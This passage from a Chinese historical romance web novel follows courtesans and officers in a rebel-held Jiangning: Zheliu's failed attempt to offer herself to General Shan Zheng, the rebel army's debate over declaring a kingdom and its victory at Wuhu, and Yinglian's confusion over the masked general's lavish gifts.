她一边想，一边摩挲那只用惯了的、心爱的枕头，心中默默祝祷：枕仙在上，若是一举成功，往后我做了单将军的内眷，必定以金丝作线、珠玉为饰，亲手缝个重锦的绸套，一辈子不离不弃，舒舒服服供着您！ 天上枕仙约摸是听见了她的祈愿。 下一个拐角，已至了单铮的院落，才迈开一步，折柳猛地便撞在了什么东西上，冷不防一下，将人吓了个够呛。 那“东西”手疾眼快，稳稳扶住了她向后仰倒的身子，拉了她一把。 低沉却清明的声音响了起来：“折柳娘子？” 折柳就知道要遭。 她摆上了一个客气而温柔的笑，后退半步，惊魂甫定，望着他初升的日光下更显赤烈的束发，本就不定的一颗心恍然又剧烈地震颤 起来。 单铮本人一向如此，有斗志、有冲劲，比鲁莽少一些，比沉稳又差一些；待自己马虎简略，待朋友却肯赴生死、两肋插刀。他身边围聚了一大批人，他们围拢过来，像星斗攒聚着日月，愿为他的一句话，便舍生忘死。 她不是她的那帮弟兄、朋友，却一般无二地领略到这种烈阳一般的炽热。 他待她的方式则更守礼、更温和一些。比如那罐獭子油、比如多事之秋时派来守护的兵将。 折柳稳了稳心神，刚想要说点什么，对面单铮等候她片刻，不见她言语，又望见她神色恍惚，英武的眉却渐渐凝了起来，“是有什么事么？” “无事、无事！”她忙否了。 这和事先设想的不一样。 折柳心里火星子入油煎似的，噼里啪啦金星直冒，说出话都烫嘴，“就是、我……将军喝多了酒，我来问问，可要醒酒汤！” 她编了个拙劣到自己都难以相信的谎言，但话已出口，为表诚意，只得目光炯炯地盯着他。 单铮一愣，忽笑了起来，十分爽快地应承了她好意，“多谢，我正要去库里领，娘子却先带来了。” 说着，他伸出手，手掌宽大而硬实，生着常年习武磨出的厚茧，并眉眼疏朗地望向折柳，眸中还留有方才的笑意余韵。 折柳怀中捧着一袋，他以为是醒酒汤。 他的笑实在太过坦荡，面对他，折柳觉着自己仿佛不是个艳丽绰约的女子，似乎是他上辈子一同投胎而来的好兄弟。 她神思恍惚地将那东西递给了单铮，因为他要了。 单铮的笑容凝在了嘴角，有些迷惑地攥了攥那柔软得像云的一角，又细细盯着其上正面烟云缭绕里徐徐若飞的十八只白鹤刺绣；再翻到反面，瞧见云烟之中的明月清江、碧波映照，似乎萦有一缕幽香，本想凑到鼻子下闻一闻，却下意识觉着不太合适，只得不大确定地问：“这是……” “枕头。”折柳呆呆道。 单铮先是惊讶，而后皱眉，继而深思起来，好半晌，也不知内心说服了自己什么，眉峰舒展开来，虽仍带着一丝淡淡疑惑，却致谢道：“娘子有心，这枕头确然柔软，想来枕上能得一霄安眠。” 折柳还能说什么，“嗯，里头填了临安最上等的蚕丝……” 她这样一说，单铮便更释然了，难得更夸赞了一句，“娘子果真是个精细人。” 折柳端起了最柔软、最端庄的微笑。 两人拐角对面伫立半晌，一时无话。她发间茉莉的清香随穿廊的清风钻入单铮鼻尖，单铮不由望去，却正隐约瞧见她素雪桃花似的眉眼，以及乌云叠叠的发间几支带朵鲜花，并无多少富贵点缀。 他恍然想起似乎有人轻佻言语入过他耳：那折柳娘子实在艳丽风情，勾魂夺魄，又善逢迎，难怪能支应偌大的行院家业。 可她甚至连点像样的珠玉头面也无，连脂粉也没擦，又寡言少语，看起来不仅不逢迎，相反有些可怜。 茉莉香浓，催得单铮心头起了几分连自己也不察觉的怜悯心思，于是说话更加温和，以自己的善意隐晦提醒她：“娘子可是……遇着什么难事？” 若有难事，和他提便是，他能帮则帮。 不料折柳却把头摇得顺理成章，于是那茉莉香便也曲里拐弯起来，“无事。” 单铮点头。 既然无事，干立着也尴尬，他便先道告辞，与折柳擦肩而过，带走了她的枕头与花香。 徒留折柳独个呆立，久久回不过神。枕仙在上，事儿还没开始，怎么一晃就完了？ 她是来自荐枕席的，不……不是真的来送枕头的啊！ 折柳一脸恍惚地回了院子。 推门而入，却见秾李正坐在石墩子上，许是方才洗过头，这会正用干手巾，一下一下地绞干头发。 她动作不快，甚至有些迟缓，一张白皙素面微微偏着，正转向折柳的方向，眉眼沉郁，分明是在想心事。 她微微散着衣领，便教折柳一眼瞧见了方才被遮住的、脖颈下玫红的印痕。 “谁欺负你了？”对于心爱的枕头没了的怅惘顿时散去，她心头一沉，三两步走过去。 秾李这才回神，眼神微闪，不大自在地拢了拢衣襟，不大愿意启齿，“没人欺负我，不是你想的那回事。” “那是怎么一回事？”折柳坐定在她身前，越见她躲闪，心中越气急，甚而粗鲁地挑起她衣襟，往里瞧了一眼，顿时心知肚明。 她想着方才见单铮的那一回，铩羽而归，把个美梦全戳成泡影；才回来，又见了秾李不知上哪弄了这么一堆腌臜的印子回来，落在眼里，也不知是尴尬是委屈，或是束手无策的糟心。 秾李善知她心思，瞧她面上郁闷，便猜出七八分，索性说了实话，“我昨夜去到吴官人处。他是个……再和气不过的人。” 她说到此处，声儿渐消，罕见地脸红了几分。 折柳满脸震惊，握住她的手，说话更岔了音，“吴、吴官人？他那样的身份，怎么会、怎么会……” “他喝醉了。”秾李道。 两下里无言，各自从对方眸中瞧见了百般滋味。 愕然、庆幸、欢喜、愧疚。 她们从前在吴县，是晓得吴览为官之清名的。虽说落在青玉阁的赋税一分不少，平头百姓里，却连着几年轻徭役、减赋税，间接地也就养活了青玉阁一大家子。 秦氏夫人年年冬时亲自主持开棚施粥、接济穷困，她们也时常去瞧的。 不收好处、也不欺不辱，这吴官人就已在她们心中很有一份重量了。 折柳明悟了几分，有了些笑意，却仍是惴惴，紧着问：“那是酒后乱性。今晨醒了，他可曾斥责你？你这样大清早避人耳目地回来，是被赶回来的？你与我还有何不好说的，你若有难处，我、我去寻单将军，我在他面前也是说得上话的……” 这最后一句，说得她自个儿有股子莫名的心虚。 秾李听了，却只是抿嘴笑，眼儿亮亮的，瞧得人心里发热，听罢了才道：“不是、都不是。他很好，他怪自己呢，却来向我赔罪，惶恐极了。是我怕被人瞧见不好，才强要回来的……姐姐，我要搬出去了。” 折柳满心的担忧，在她最末一句话中，尽数化为了怔然。怔然过后，是说不尽的感慨欢喜，眼眶里却模糊了几分，有些发烫。 “好、好，这样就好，他能做你的依靠，你往后便不必瞧人的脸色了。”她如心中落下一块垒石，欢喜里却无端生了些伤感，“我真不如你，还想着护你呢，没料到你已比我强了。” “那往后，换我护着你。”秾李笑。 折柳拍拍她的手，将早前满心的单铮已忘在脑后，摸了秾李的手巾，一下一下地替她拧干头发。 晴光小院，秋千栏杆，她们共同在此，沐着同一缕晨曦，说着一样的旧事，度过了最后一个彼此相依的时辰。往后不知命途，却多少有了一份安心。 江宁府的安民告示在大街小巷里张布了两月，见证了百姓从惶恐到安定的过程。 安民是一方面；告示旁，总时不时添一些别的告榜。 有时是准许百姓出城，但家资多于五百贯的，得于城中留下一半，作为“看守钱”； 有时是杀人告示，白底黑字告知全城，哪些富户不仁，恶行累累，宁德军替天行道，除此大患。 ——宁德军。单铮亲自敲定的名号，“宁”取自江宁，“德”意在告与世人，这一支军队，不再是流民军，也不再是匪军，甚至模糊了义军的名头，而只是广施仁德的一帮人。 自然，军中一直在争论，既有了盘踞，要不要占地称王，定年号、置百官，以纳四海贤才。 众人喋喋不休，有说称王可以鼓舞军心的；有说如今实力不足，不应称王的。单铮对此一哂，指着座下十几把交椅上的头目道：“这一堂的人，包括我在内，一棍子能打 出几个念过书的？做官不是吃喝宴饮，也不单只攻战杀伐，还得治理一方百姓。除了观石，你们有几个能胜此任的？便不论为官，咱们只占据了这小小江宁，连府下郡县也才攻克半数，正是不安定时，称什么王侯？” 一番话说得众人无言，只拿眼觑着新来的吴览吴观石。 吴览宦途数载，事理见识过不少，也见过称王称霸的寇匪，晓得下场无一不是清剿殆尽，本就不欲使自家头领称王，如今见单铮虽话糙，却并不糊涂，很是欣慰，便道：“称王侯实在不必急于一时。江宁初定不过二月，周边府城也有调兵来攻的，俱被咱们打散，至多不过七八千人。京畿有禁军百万，咱们尚未见真章，若贸然称王，不啻平白为他们树个靶子，教他们来打。” 鬼面人沙哑地纠正：“四十万。” 四十万禁军，号称百万。 但那也足够多，哪怕半数发来，也如滔天洪水，非要淹了这小小的江宁不可。 宗契甚少开口，向来听令而已，此时却问了个众人心中的疑惑，“咱们闹得如此动静，为何朝廷只零星调些散兵来攻？难道大军集结非得个一年半载？” “昏君瞧不起咱们呗！”有人道。 一堂哄笑。 笑过后，却是赵芳庭开口：“此是一方面。另有一则，咱们占得了天时。恐那老皇帝命不久矣，他几个不孝儿明争暗斗，此时各自掣肘，万不愿调自家手里的兵远赴千里，自个儿落得个无缘大宝，这才予了咱们可乘之机。” 众人草莽起家，有那浑浑噩噩的不咋懂；通透些的，便已明白了。 私下里，宗契将这话说与应怜听。 应怜于兵将之道未曾深解，却有知一反三的心窍，闻言默想了一阵，便弄通了其中门道。 “当今天子即位三十载，膝下有十一位皇子、九位公主。皇子之中，余皆不论，唯太子与三殿下卓卓。太子尤其母族显赫，是本朝从龙的世家，他本人么……脾性倒是温和，只是不大果决；三殿下母族稍差些，其人却勇武刚决，骑射武艺俱佳，被夸赞有太祖之风。这两位皇子的母族或亲族里皆有统兵的武将，其中太子的表哥镇军大将军郑武陵常年镇守西北边关，无事不得回朝；三殿下之母安贵妃本就是武将家族出身，禁军中有不少统领都与之亲厚。” 应怜正往个寸许大小的琉璃瓶里灌什么，眼观着瓶里，脑子想的却满是朝堂之事，说着说着，却不由愣了一会神。 萍儿扎着两只秀气的双丫髻，圆圆的眼儿望望她，又望望对面的宗契。 宗契问：“怎么了？” 应怜一回神，神色有些复杂，“……太子失势，虽空有名头，但与被黜无异；禁军如今调度不周，迟迟不发重兵，或与三殿下有关。这样想来，他是有登大宝之心了。我家的事，未必与他一党毫无关系。” 两党倾轧水深火热，兄弟之间尚且如此，更休提下头的一干臣子。 宗契观她神容，便知她又越想心气越窄，于是出言打断，有心岔开话，“我来便见你捣鼓这个，怪香的，是什么？” 桌上瓶瓶罐罐，那一头案头还弃置了不少枝枝叶叶，更有盛沸水的小瓯，里头飘撒着一层暗黄的叶渣。那小瓶里却有一股子沁凉出来，在八月的炎夏里，闻之令人心怡。 有些事多想无益。应怜拿这话开解自己，不再执拗往事，待手心里浅碧的琉璃瓶注满了，塞了塞儿，便放在宗契手心，道：“这是我自个儿做的清心露，前日里折柳娘子不是送了些蔷薇花水来么，我试着添了些蒸好的勃荷水，十分沁人心脾，便多做一些与你，免得你不惯南边苦夏。” 宗契心中蕴藉，不由便带出几分笑意，把玩那精致的小瓶，“有心了。” 应怜忙完了，唤来春莺，将案头拾掇清净，自个儿去一面书柜里挑拣，捧了几本《三字经》、《千字文》、《论语》出来，并一沓子满是注解的纸，也不见外，搁在案上，翻到某页，继续写那簪花小楷。 宗契赏完了琉璃瓶，一口饮尽了清心露，但觉果真清心，一路由喉嗓沁凉到了肚腹，也不知是心有所想还是怎么，虽不是蜜，却总觉甜丝丝的，望应怜伏案低头书写的娟秀侧影，宁心静气，连带自己也不觉着这伏夏有多难熬了。 他便过来为她研墨，一边细细瞧她落笔，果真字字珠玑，一笔手书秀气天成，真如她人一般。 “这是什么？”他低声问。 应怜微偏过头来，向他研好的墨里蘸了一蘸，道：“前些时日不是请了蒙学先生来教萍儿他们授课么。前日里听说，他忽辞去了西席，约摸是怕了官兵攻城，担心如果城破，他要被定个谋逆从众的罪。他走得又急，这头一时寻不着西席，我便暂领了这差事。何日饱学的先生请着了，我再让贤。” 宗契小心翼翼地拈起一张纸来瞧，见上头引经据典，俱是释那《论语》里某章某句的，且深入浅出，用来教孩子再适宜不过，感她心细，又钦佩她才学，由衷发一句赞，“有你足矣。” 有心之人，听来便如竹曳花摇，一晌无风，却是心动。 应怜笔尖一顿，本待勾下的一道便一颤，没说话，低垂着头，又接着往下写。 两人一个研墨，一个书写，日光斜影，偏照指尖笔下，几分炎炎，便化作了清心。 这一日休沐，宗契在这处消磨到近黄昏，才慢腾腾地回了去。 两处的宅院本就前后门相连，不过一条巷里走上几步。他才出门，后头却蹦蹦跳跳跟上个小尾巴。 萍儿天真地眨着她的大眼睛，好奇地问道：“好喝吗？” “很好。”宗契有几分笑意，这会子咽喉肚腹里也还是沁凉成团，说话格外清明，“你可是觉着不甜？” 不料萍儿摇摇头，很是羡慕，“姐姐不让我喝。” “为何？” 萍儿道：“那是擦在身上的呀！” “……” 宗契手忙脚乱地关门压低声音：“你千万别对你姐姐说！” 萍儿不是佛光寺那些憨憨傻傻的小沙弥。萍儿更狡诈。 “那我要糖葫芦！”她索要好处。 宗契：“好好好，给你买。” 萍儿：“两……不，五串！” 她丁点大的小手几乎怼到表哥脸上。 宗契蹲着身子，“这么多？会坏牙吧。” 萍儿：“那我告诉姐姐去。” “行行行行……小祖宗，五串！” 萍儿又道：“我还要泽州饧，李家饮子店的！要两包！” 宗契捏着鼻子应了。 萍儿这才高高兴兴折了回去。留下宗契，日落黄昏天色里，一团清心露的萧索，凉到了心里。 第86章 第86章卜他姻缘事若谐，归来拜…… 今岁江南的暑夏更比往常来得早、也来得久，虽不致伏旱千里，却也焦死了许多庄稼。本就是欠收的一年，又逢各样名目的税赋，便有好些人日子实在过不下去，倾家舍业地往各处流窜。 宁德军趁此时机，一举又新募了五六千军，削了几个本地刺头的豪绅大户，抄没田产，正分与这些个民兵；于是平常半日农活、半日操练，又减免赋税，日子竟过得有声有色起来。 正是旱的旱死、涝的涝死，江南伏旱，江北的河东路、河北路一带却发了洪水，也不知究竟如何，只听闻淹坏了千万亩良田，屋舍倾圮不知几何，未见朝廷怎样赈济，倒是先行钱缴还的日子先到了。 又是一番兵荒马乱，比江南更萧条冷落。打听的斥候回报道，民怨沸腾，多处激起民变，贼匪横行。 当中坐大的几家里，有一股沂州的势力，早先不过是山匪，因吸纳了不少无家无业的流民，声势愈发地蛮横，为首的头目姓彭，江湖人出身，有个诨号称“震地虎”。这一伙人也举了替天行道的义旗，但据斥候多日查探得来，实际干的还是杀人越货的行当，只不过杀的是官、劫的是帑银。 单铮将这些信报传于各头目，商议是否派出使者交好，合兵一处，壮大势力。 商议正还没各定准，派出攻打芜湖县的钱美等人却传来了战报，遭逢朝廷南下的援兵。对方号称十万，浩浩汤汤压境，于芜湖县城下，发生了一场血战。 钱美派人突围，来求援兵。单铮急点一万兵众，皆是历经数战的勇夫，几乎倾城而出，援救前军。 这一回阵仗闹得如此之大，宗契自然要跟着去。 提心吊胆的日子，应怜过了也不知一回两回了。她无法像男人那样上战场，急也没用，便压下心火，守在江宁，做好自己的差事。 如今她半日在府署为孩子们开蒙，又腾出半日，在赵芳庭处算些户籍、兵丁、粮草的账目。 自打攻克江宁，府城里百姓拖家带口流亡的倒是不多，泰半仍在城中。人心初定，只是每逢战事，与应怜等人一般，总要惶惶不安些时日。 应怜算账目十分精细，几日下来，便成了赵芳庭得用的人才。 饶是如此，人手总是紧缺。她便又拉着李定娘一道来上值。两人一个算一个核，配合得天衣无缝，案上算筹如飞梭，算盘珠脆琅琅，使人眼花缭乱。 赵芳庭松一口气之余，有心便问：“我原以为你们这些朱门绣户的女子，自小不过针黹纺绩、读两本诗书，怎么算账这样事也如此麻利？” “嫁去人家，做人家媳妇，上下里外总得时时照应着，学会了， 方不至被下人欺哄。“应怜道，“这些俱是在家做女儿时要学的，虽与外头这些出入账不十分相似，总归是同出一源。” 李定娘一边拨算盘珠子，头也不抬地搭话：“何止是诗书算赋，琴、棋、画、香、茶，乃至里里外外的人与事，不说精，总得通晓七八分，你以为清闲么？” “这么说，比考功名还苦累的了！”赵芳庭纳罕。 他这样诧异。应怜与李定娘相视，各自噗嗤一笑。 “你们男人总觉着女子性弱，见识短浅，殊不知我们不过是不能出人头地罢了。若给一条向上的路，更不知有多少女子争破了头也要挤上去，成就未必在丈夫之下。”李定娘吁了一口气。 她的心思，应怜总猜得着几分，时常也想：若定娘不是个女子，而是郎君，哪怕自小失了母亲，无论是发奋读书，或是苦练骑射拳脚，文武之道总能闯出一条来；又有家世的底子，功成名就，必不在话下。 可因她是个女子，接踵而来的便是灾难。 她有些唏嘘。不想赵芳庭脑子里存的却是另一桩心思，放下了手中纸笔，摸着光光的下巴，也不知是与人说话还是自言自语，“如今人才吃紧，你们说，若是我征调些妇人家来做事，找那等识字的、会管事的、精打细算的，岂不能解我燃眉之急？” 满座的主簿粮官，青衫白衫的，听罢他一席话，无不愕然。 应怜也惊诧，过后细细思量，却愈发觉着可行，“旧朝史书里也有女官，可多是哗众取宠的后妃品阶罢了。若当真选调女子，做与先生们一般的活计，那这‘女官’二字，便是实至名归。赵将军这话可是当真？” 赵芳庭打量了一圈众人眼色，未置可否，只是道：“我不过有此一想，作不作数，还得再考量考量。这不是小事，各桩各件都得想得周到。众位若有想法计策，回去后可写上文书来，集思广益，再定不迟。” 说罢，仍教各自做手头活计。 应怜将这事记在了心上。 有些事不急于一时，眼前却有燃眉的战事要牵挂。 三日后，江宁府传来捷报：宁德军大捷，斩将夺旗，退敌数万，俘虏千余人，斩获辎重粮草无数。 大军德胜而归，单铮大喜，亲自开城门迎接凯旋。 此一战关键在夜袭，由宗契率先锋袭营，外以鬼面人为首，两下里合击包抄，阵斩敌将。二人共记首功，余皆各自记了军功。 只是钱美的前军因被官军围剿，损失颇重，钱美本人也受了不轻的伤；单铮嘱咐好生休养，因其拖住官兵，及时传报敌情，不致其攻往江宁，打宁德军一个措手不及，为记一大功。 于官兵而言，说来也倒霉，本想着从江水上游的芜湖县而渡，绕过大江，北上袭江宁府一个出其不意，没料到正被钱美的斥候探了个正着，惊动前军，偷袭之事也就没了下文。 十万大军，口号打得响亮。斥候眼尖心明，前后探查一遍，估摸着也就二万；将俘来的副将拿住一问，单铮哭笑不得，这一支军队，刨开押运辎重的民夫、随军苍蝇似的赶也赶不走的小贩，执兵刃的——通共五千人。 怪不得能暗渡大江，若不是恰好钱美在芜湖县，恐怕江宁真要被偷个措手不及。 另外，那俘虏副将还透露了一个消息：出征时，明面上报的军队人数是五万。 也就是说，那四万五千“天兵天将”，全被吃了空饷。 对此，于宁德军而言，只能说是苍天怜佑，逢着个这样昏庸的官家。 应怜高高吊起的那颗心终于落回了肚里。 宗契受了一点兵刃划擦的轻伤，其他俱无碍，才领了赏赐，便一股脑交在应怜手里。 黄白的是金银、朱翠的是珠宝、硬的是牙翡、软的是绫罗。堆在方丈大的小院里，堆在整齐一新的廊道上，堵住了春莺茜草来回的道儿，却将人瞧得眉开眼笑，直道高僧不迷于外物，是个得道的高人。 他人倒没来。小乙带着从人安置了大半个院儿，见着应怜，先行了个礼，喜笑颜开，“随柳娘子吩咐，这些赏赐该搁在哪一屋的好？” 应怜被这成堆成箱的宝贝惊了半晌，才犹疑道：“不必如此，教他自个儿存下就好了，何必我来掌着？这太……” “高僧说了，这些物件，他本不知如何处置。娘子见惯了美玉珍宝，这些瞧在眼里，也不过是次等货。”小乙嘴甜，说的话一套一套，“娘子珠玉似的人，从前那是没法子，吃了不少苦；如今还得珠玉似的养着，方教高僧安心。高僧还说了，若是娘子不要珠宝，只管外头兑成金银，不必在意。” 他呱啦呱啦地说。应怜十分怀疑宗契是否说得出这样甜嘴蜜舌的话，恐怕除了最前与最末一句，其余都是瞎编。 饶是如此，仍是心里饮了蜜一般甜。宗契不与她见外，她便也不假客套，吩咐都收在了空置的厢房，绸缎珠玉捡细密精巧的，赏了春莺茜草每人几样，又教二人向各处分送一些。 礼尚往来，这一回得了赏赐的人家，也都回送了礼情。应怜一一收下，罗列了礼单人数，素日的熟人，如李定娘、折柳、秾李、赵芳庭、吴览等皆在内，心头过了几遍，确保没了差漏。 归整了赏赐财物，原本空荡荡的厢房登时挤占了一半。应怜照着礼单如数清点完，抽出几匹素面的细锦，又唤来女使，令寻好的绸缎庄，比着宗契的身量，做几套衣物鞋袜。 女使才去，应怜待在厢房，还未来得及忆苦思甜、感慨一会，却又逢人扣门。 也不知是谁，抬了两箱礼来，搁在前院当中，稳稳当当。 抬箱子的是体格剽悍的兵士，领头的不是从人，却是文人打扮，开口先道：“某是鬼面将军帐下客僚，将军吩咐，备些许薄礼与娘子。” “鬼面将军？”应怜被闹得好生糊涂，怎么也觉着和他是八竿子打不着的关系，忙道，“鬼面将军是否送错了？我们并无人情往来。” 客僚很是客气，口吻却很笃定，“怎会送错，这即是赠与娘子之物。” 说着，教人打开箱盖。 两只大箱，里头整整齐齐摞着一层一层的首饰头面，金玉点翠、流光溢彩，使人惊叹。 寻常往来人情，不过是两匹布添两匣子珠玉，何曾有他这样大手笔的？ 应怜更是觉得礼太重，坚决不收。那客僚却道：“将军说了，若是娘子不收，那便全扔到后门沟渠里去。某若是敢带回去，哪只手抬的箱子，将军就砍哪只手。” 应怜：“……” 一行人简洁利落，抬入了厢房，便稀里哗啦退出去。客僚临走前，又道：“对了，将军还为娘子带了句话——这几副头面成双，娘子若不想要，可赠与旁人。” 他丢下这句莫名其妙的叮嘱，便施施然登上马车，走了。 春莺与茜草归来后，正见了应怜，坐在妆镜前，捏着两支金凤钗发呆。 凑近了一瞧，那凤钗当真精美：光耀闪闪的浑金作底，头上一只鎏金彩凤，颈羽点翠，翡翠作目，嘴衔金丝流苏，当中一颗光芒柔润的硕大北珠，夺人眼目。 春莺惊叹，又疑惑起来，“这钗真好看！咱们方才清点的簪环里，有这一件么？” 瞧得久了，茜草却瞧出了点门道，“娘子手里，怎么是两支一模一样的金钗？” 向来长大的金凤钗，要么独自插于髻上，要么左右相对，正插冠子两边，那便是正反一副的金凤模样；这般顺边两只的，属实少见。 “这是鬼面将军送来的。”应怜比她们更摸不着头脑，又心有不安，“那两箱珠宝，全是每样两只。” 难道他觉着她会戴一支、丢一支？ 他又说什么不想要便赠与旁人。应怜只觉古怪，又有些恼，愈发觉着他此举意在挑拨。 “是了，定娘表姐自来了江宁，便不客居他宅院，搬回了王渡那处。”她虽对那王渡颇瞧不上眼，但到底人家是夫妻，王渡好歹还有名分，鬼面将军连个名分也无，“难道他因此心有怨怼，诱哄我将多余的头面赠与定娘表姐，他再私下里挑唆说那是我不要的，使我姐妹失和？” 二女使听得目瞪口呆。 春莺道：“他怎么比那些市井妇人还小心眼子！” 茜草道：“市井妇人怎么了，可没他心眼子多！” 思来想去，应怜觉着这礼不能收，也没真应他吩咐，倒进后门沟渠子里去，而是亲自带了人上他家门，客客气气地送还了回去。 不是休沐，鬼面人照常在军营里，并不在家。看守的从人早先得了他的吩咐，死说活说不收这礼，一番推推拉拉，闹得应怜心火旺了，头疼起来。 春莺跟着她，悄声劝：“到底人家是来送礼的，不是结仇的，要不……咱们就收下吧？” 应怜不肯。 有些话，她并未向春莺开口，只是心里记着。 李定娘曾说过：“你道他是什么好人？那王渡是人皮下的一只畜生，他却连人皮也没有。他救我、对你客气，无非是……” “是什么？”彼时她问。 李定娘却神色晦暗，再不肯多言了。 她只让她莫要与这人走得太近。 还礼的人被软语请了出去，鬼面人的仆从又像避瘟似的，关严实了大门，再不放那两只箱子进去。 应怜也不管，教人把担子一下，箱子正堵在他大门口，带着春莺几个，在守门人苦哈哈的脸色中，一声不吭回了去。 当晚，鬼面人归来。 他人前脸面覆着精铁，鬼面森森，噬人心魄；人后摘了面具，下露出一张坑洼可怖的脸来，使人说不出，究竟哪一张脸更悚怖。 家仆循例垂首禀报今日情形，便提到了那两只箱子。 他默然听了半晌，眸光沉冷，不现一丝情绪。 “……那礼该怎样处置，且听您吩咐。”仆从等不到主人发话，心里开始忐忑。 半晌，才听得上首人喑哑开口，也不知是牙缝里挤出来或是渊狱里飘出来： “死脑筋。” 仆从心里七上八下，琢磨这一句仿佛不似着恼，却搀了几分无可奈何，也不知这位正打得什么主意，但晓得他不爱人聒噪，便依旧静静地等他言语。 果然，鬼面人接下来又道：“再添几套女子衣裳送去，艳丽些的。” “是。” 仆从顺当地去处置，却在出门时被叫住：“——比着李定娘身量。” “……送与李娘子？”仆从一愣。 鬼面人似是皱眉，脸面更扭曲起来，使人瞧着心惊肉跳。 “送与柳惜！”他不耐起来。 这究竟是个什么招数，仆从搞不懂，只是上头吩咐了，送就送吧。 于是应怜又收回了原封不动的沉甸甸两大箱，送礼的人更添了好几套衣裳，朱砂的、郁金的、缃色的、葱翠的，一眼望去，五光十色，各种回云纹、重莲锦团花、缠枝牡丹纹、缂丝穿花繁复艳丽，像一叠叠绮丽又怪诞的彩霞。 上回一送一退，已引得些旁人来问，对鬼面人与她的关系议论纷纷；这一回他又大张旗鼓，恐怕连单铮那样不好背人口舌的，也要来打听此事了。 应怜很是头疼，被强塞了这些个衣裳，一股脑堆在堂前。 女使们倒是很好奇。茜草抖开一件翠色的牡丹暗花纱褶裙，比了比，有些为难，“似乎长了些，咱们娘子穿的话，裙摆总得铰掉几分。” 应怜被那碧翠的色儿闹得眼花，坚决摆手，“我不穿那个。” 茜草与春莺两个又去挑拣别的褶裙、裥裙；一忽儿取来清凉的抹胸，左右比比，又道：“太宽大了，带子也长，怎么仿佛件件不合身似的。” 应怜听着听着，将那一件件花里胡哨的颜色看在眼里，忽觉心头飞来一点灵光，又细思量那些副首饰头面，以及鬼面人的话，瞬间福至心灵，竟懂了。 她“啊”了一声，令她们将衣裳放下，狐疑道：“他这是醉翁之意不在酒，实则是要借我的手，送给定娘表姐吧！” …… 好端端的，怎么就不能自个儿去送，非要经她的手一道？ 应怜遣人旁敲侧击地一打听，原来不是不想送，是送不掉。 ——早先送与李定娘的那些个珠宝，一样样全被她丢进后门沟渠子里头了。 沟渠子招谁惹谁，她应怜又招谁惹谁。唉。 管他俩之间有什么恩怨，珠宝总没罪。应怜便寻了个空，捡出一半头面来，并那几套艳丽的衣裳——再一观瞧，果真俱是定娘爱的颜色——亲自登了一回李定娘的家门。 这其实是王渡的家。说起来，应怜还是头一回登门。 正是晌午清闲时分，她带着萍儿，沿着一道清静的小巷儿，来到她家门口，敲了几回门，却不见有人应，心中纳罕：王渡不在，难道家人俱不在？ 没奈何，只得原路折返。 无论战事与否，平头百姓家的日子总还得过，大街小巷里烟火气逐渐又升腾起来，市井间大体一派安定景象。应怜便挑了车帘，闲来街面儿上四处观望。 也不知行在哪里，忽见了一人上前，殷勤地笑着行礼，定睛一看，却是定娘家的一个女使，正从一茶坊而来。 “娘子来找我们家娘子么？”女使问。 应怜点头，“来得不巧，她不在家。你今日却有旬假么？” 说着教春莺把了几个散钱与她。 女使得了赏，更是喜笑，道：“哪里呀，是我们家娘子心善，放我们出来吃茶玩乐半日。她还在家呢，想必在午睡，深院儿里听不着您扣门。您呀只管去，那后门左一面的门板里轴儿断了，还未修呢，抬一抬便能挪了进门。” 应怜噗嗤一乐，“教我偷进人家做小贼，促狭。” “您又不是外人。”女使道。 正说着，茶坊里又跑出来一个，小小的身量，却是李定娘的弟弟，阿苽。 应怜授蒙课的学生中，有自家的萍儿、定娘家的阿苽、武大用家的孩儿阿虫、折柳家的侍儿琥珀，以及另几个头目家的小童，最大的不过八九岁，最小的便是阿苽。 阿苽性子倔，却与萍儿投 契，两个时常一处，上蹿下跳地捉弄别的孩儿，此时一见了应怜身旁的萍儿，飞也似的跑来了，叫道：“姐姐要去我家，我也要去！” 女使拦不住，只得哄道：“与我们几个吃茶斗草，难道不好么？” “都是你们女孩儿家家的东西，我不要！”阿苽一面嚷，手脚并用，便强爬上了牛车。 萍儿顶头给了他一掌，“那你不要与我玩了！” 两个孩儿一左一右，牛车里便闹腾起来。 应怜揉揉额，与女使打了个招呼，催着车夫快快地去，试图赶紧将一堆绫罗珠宝与阿苽丢给李定娘了事。 二登王家门，果依着女使的叮嘱，那损了轴的左边门轻巧巧便抬了开。从人将礼搁在里头院，便留待门外等候。 阿苽回了家，却老实起来，告诫萍儿，“你要听话、要乖，否则我姐姐要罚的！” 应怜得了一晌清静，带着两个孩儿，顺廊到了后院，也不知李定娘睡醒了没，不好惊动，想着扣屋门若不应，便在院儿里候一晌。 她来到廊下，正在槛外门前，方要扣门，却忽听得里头细细的动静。 起初有人在笑，又夹着断续的、轻微的叫。那声儿又娇又酥，浑使人血气发烫、身子发软，无端教应怜想起了曾听过的猫儿打架，却又更狎昵一些。 笑闹声里，却有男子声音，不知是叹息是忍耐，“好姐姐，你高些个……” 又有女子尖叫，拼命压在喉间，却止不住支离破碎地被撞出来。 应怜木愣愣立在廊下，猝不及防，一时竟反应不过来，倏然魂魄归体，脸上火一般熊熊地烧起来，又是热又是无措，一把捉住两个孩儿，着忙着慌地带离廊下，心道怪不得女使都被打发出门，也不能怪人家不讲究，是自己做贼心虚。 阿苽把声儿捏得轻轻的，“我姐姐是不是在睡午觉，她很凶的……” “嗯，是。”应怜红着脸如今进也不是、退也不是，来在中庭，索性放高声量，摆出语重心长的架势，“是在睡午觉呢，阿苽、萍儿，咱们莫要吵着定娘表姐，总之礼已送到了，我带你俩去前头玩！” 那里头定然听见了，也不知如何动静。应怜闷着头，火烧火燎地拉扯着他们走了。 萍儿在前院花丛里扑蝶，阿苽比划着他随身的小匕首，应怜则在发呆。 想到自己若是嫁人，也会同那人如此亲密，总觉着浑身不对劲；可若那不是旁人，换成宗契，那么她与他…… 猛地摇摇头，她将满脑子胡七八糟的念头狠狠甩出去，没过多久却又控制不住地想回来，若那样亲密，那…… 那她可就太开心了。 她摘了一枝檀心的木香菊，把心头想的不可告人言的秘事，都一瓣一瓣地摘下来成卜。 她与宗契，宗契与她。 成，不成；成，不成；成，不成…… 一边卜一边魂游天外。 萍儿偶捉着一支粉嫩的蝶儿，兴冲冲跑来捏与她瞧，“姐姐，我捉着蝶儿了！” 应怜“嗯”了一声，顺手接过来，继续卜。 成、不成。 萍儿惊恐地望着她，望着那两只被扯坏的蝶翅，“哇”地一声哭了出来。 才及反应，摸了一手鹅黄蝶粉的应怜：“……” 第87章 第87章何处寻良人，付与琴与筝…… 李定娘出来迎时，应怜正手忙脚乱地安抚哇哇大哭的萍儿。 那头里是否走了什么人，她浑未察觉。 ——即便晓得，恐怕她也臊得细看。 